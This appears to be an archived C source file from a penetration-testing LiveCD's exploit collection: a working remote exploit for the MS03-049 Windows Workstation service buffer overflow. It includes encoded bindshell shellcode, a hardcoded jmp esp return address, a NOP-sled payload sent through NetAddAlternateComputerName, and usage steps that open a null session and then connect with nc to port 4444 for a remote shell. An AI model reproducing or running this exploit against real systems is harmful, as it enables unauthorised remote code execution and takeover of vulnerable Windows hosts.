home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / 0349.cpp < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  128 lines

  1. /* ms03-049 by wirepair, pretty sweet find, although i can only get this to work on XPsp0. Win2k responds with like
  2. op rng error stating it doesn't know what the hell i'm requesting. Eeye seemed to elude to the fact that 'only xp has these
  3. undocumented api's' or something, anyways sc is from oc.192's awesome rpc exploit. This is beta and the code is friggen disgusting.
  4. It was a hack job basically, but it works and i've tested it on 2 XP no sp machines. I'll add the 'change bindshell port' later.
  5. It shouldn't crash the box either, at least in my cases exitthread does the trick. 
  6. This code proves how little i know about crazy windows string stuff if you see a bunch of crap that makes no sense like weird casting.
  7. It's because I have no idea heh. 
  8. Only works against SP0 at the moment.... working on sp1 heh.
  9. Usage: 
  10. C:\>net use \\ip.ip.ip.ip\IPC$ "" /u:""
  11. C:\>0349 ip.ip.ip.ip
  12. open new cmd: 
  13. C:\>nc ip.ip.ip.ip 4444
  14. */
  15.  
  16. #include <windows.h>
  17. #include <winbase.h>
  18. #include <lm.h>
  19. #include "LMJoin.h" //prolly don't need this but what the hey.
  20. #include <winnls.h>
  21. #include <stdio.h>
  22. #include <string.h>
  23.  
  24. typedef VOID (*MYPROC)(IN  LPCWSTR Server OPTIONAL,
  25.     IN  LPCWSTR AlternateName,
  26.     IN  LPCWSTR DomainAccount OPTIONAL,
  27.     IN  LPCWSTR DomainAccountPassword OPTIONAL,
  28.     IN  ULONG Reserved
  29.     );
  30. int main(int argc, char **argv) {
  31.     char overwrite[2045] = "";
  32.     char sc[] = 
  33.     "\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
  34.     "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
  35.     "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
  36.     "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
  37.     "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
  38.     "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
  39.     "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
  40.     "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\xdd\x5a\x60\xdf\xda\x8a\x81"
  41.     "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
  42.     "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
  43.     "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
  44.     "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
  45.     "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
  46.     "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
  47.     "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
  48.     "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
  49.     "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
  50.     "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
  51.     "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
  52.     "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
  53.     "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
  54.     "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
  55.     "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
  56.     "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
  57.     "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
  58.     "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
  59.     "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
  60.     "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
  61.     "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
  62.     "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
  63.     "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
  64.     "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";
  65.     char exp_buf[2045+4+16+501];
  66.     char ip[30];
  67.     LPWSTR ipl[60];
  68.     DWORD jmpesp = 0x7518A747;
  69.     LPWSTR unicode[(2045+4+16+501)*2];
  70.     int i = 0;
  71.     int len = 0;
  72.     HINSTANCE hinstLib; 
  73.     MYPROC ProcAddr; 
  74.     BOOL fFreeResult, fRunTimeLinkSuccess = FALSE; 
  75.     
  76.     
  77.     if (argc < 2) {
  78.         fprintf(stderr, "ms03-049 wkksvc.dll buffer overflow by wirepair.\n");
  79.         fprintf(stderr, "Usage: %s <ip>\n",argv[0]);
  80.         fprintf(stderr, "C:\\>net use \\\\ip.ip.ip.ip\\IPC$ \"\" /u:\"\""\
  81.                         "\nC:\\>0349 ip.ip.ip.ip\n"\
  82.                         "open new cmd:\n"\
  83.                         "C:\\>nc ip.ip.ip.ip 4444\n"\
  84.                         "If it doesn't hang the ip's invalid or it did not work\n");
  85.         exit(1);
  86.     }
  87.  
  88.     printf("Attacking: %s\n",argv[1]);
  89.     
  90.     _snprintf(ip, 24, "\\\\%s", argv[1]); // i should've used vsprintf() >:)
  91.     
  92.  
  93.  
  94.  
  95.     hinstLib = LoadLibrary("netapi32.dll");
  96.     
  97.     memset(overwrite, 0x41, 2000);
  98.     memset(overwrite+2000, 0x90, 44);
  99.     memcpy(exp_buf, overwrite, 2044);
  100.     memcpy(exp_buf+2044, &jmpesp, 4);
  101.     memset(exp_buf+2048, 0x90, 16);
  102.     memcpy(exp_buf+2064, sc, sizeof(sc));
  103.  
  104.     MultiByteToWideChar(CP_ACP, NULL, ip, 30, (unsigned short*)ipl, 60);
  105.     wprintf(L"\n%s",ipl);
  106.     len = MultiByteToWideChar(CP_ACP, NULL, exp_buf, sizeof(exp_buf), (unsigned short *)unicode,sizeof(unicode));
  107.  
  108.     
  109.     if (hinstLib != NULL) {
  110.         ProcAddr = (MYPROC) GetProcAddress(hinstLib,"NetAddAlternateComputerName");
  111.         if (NULL != ProcAddr) {
  112.             fRunTimeLinkSuccess = TRUE;    
  113.             printf("\nGetProcAddr: %x\n", *ProcAddr);
  114.             printf("Sending exploit, you should be able to nc to the host\n"); 
  115.             (ProcAddr)((LPCWSTR)ipl,(const unsigned short *)unicode,NULL,NULL,0);
  116.         } else {
  117.             printf("procaddr null\n");
  118.         }
  119.  
  120.         fFreeResult = FreeLibrary(hinstLib); 
  121.     } else {
  122.     printf("hinst null\n");
  123.     }
  124.  
  125.     return(0);
  126. }
  127.  
  128.